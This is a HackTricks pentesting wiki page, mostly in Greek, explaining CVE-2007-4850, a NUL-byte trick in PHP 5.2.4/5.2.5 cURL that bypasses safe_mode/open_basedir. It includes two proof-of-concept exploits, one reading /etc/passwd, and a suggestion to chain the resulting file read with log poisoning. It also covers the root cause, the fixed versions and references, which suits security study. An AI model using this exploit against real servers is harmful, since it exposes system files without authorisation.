PHP 5.2.4 and 5.2.5 PHP cURL

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα τεκμηριώνει ένα παλαιό αλλά ακόμα useful-in-CTFs/local-legacy-installs trick για να παρακάμψετε τους ελέγχους PHP safe_mode/open_basedir χρησιμοποιώντας την επέκταση cURL σε συγκεκριμένα builds PHP 5.2.x.

  • Επηρεαζόμενα: PHP 5.2.4 και 5.2.5 με ενεργοποιημένο το ext/curl.
  • Επίπτωση: Ανάγνωση αυθαίρετων τοπικών αρχείων παρά τους περιορισμούς safe_mode ή open_basedir (χωρίς άμεση εκτέλεση κώδικα).
  • ID: CVE-2007-4850.

Από http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

One-liner PoC

If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Πιο σαφές PoC (αυθαίρετη ανάγνωση αρχείου)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Σημειώσεις:

  • Χρησιμοποιήστε διπλά εισαγωγικά ή chr(0) για να εισάγετε έναν πραγματικό NUL byte. Το percent-encoding (%00) δεν θα λειτουργήσει αξιόπιστα.
  • Αυτό είναι ένα file read primitive. Συνδυάστε το με άλλα primitives (log poisoning, session file inclusion, κ.λπ.) για περαιτέρω κλιμάκωση όταν είναι δυνατό.

Γιατί αυτό λειτουργεί (σύντομο)

Η ευπάθεια έγκειται στον τρόπο με τον οποίο το PHP 5.2.4/5.2.5 εκτελούσε τους ελέγχους safe_mode/open_basedir για file:// URLs στο ext/curl. Ο έλεγχος ανέλυε το URL και επικύρωνε ένα στοιχείο διαδρομής, αλλά λόγω του χειρισμού των NUL-byte επικύρωνε μια διαφορετική συμβολοσειρά από αυτήν που χρησιμοποιήθηκε πραγματικά από το libcurl. Στην πράξη, ο validator μπορούσε να εγκρίνει τη διαδρομή μετά το NUL ενώ το libcurl χρησιμοποιούσε το τμήμα πριν το NUL ως το URL container, επιτρέποντας μια παράκαμψη που οδηγεί στην ανάγνωση του αρχείου τοποθετημένου μετά το NUL byte. Δείτε την αρχική ανάλυση και το επηρεαζόμενο macro στο curl/interface.c για λεπτομέρειες. [CVE-2007-4850].

Περιορισμοί και επιδιορθώσεις

  • Διορθώθηκε σε μεταγενέστερες εκδόσεις 5.2.x (π.χ. builds διανομών με patch στην 5.2.6) διορθώνοντας την ανάλυση/επικύρωση στο ext/curl.
  • Επηρεάζει μόνο πολύ παλιές αναπτύξεις PHP· το safe_mode αφαιρέθηκε στο PHP 5.4 και οι σύγχρονες εκδόσεις δεν εμφανίζουν αυτή τη συμπεριφορά.

Δείτε επίσης

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

Αναφορές

  • Καταχώρηση CVE στο Ubuntu με δείκτες patch και επηρεαζόμενες εκδόσεις: https://ubuntu.com/security/CVE-2007-4850
  • Τεχνική ανάλυση με πλαίσιο κώδικα (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks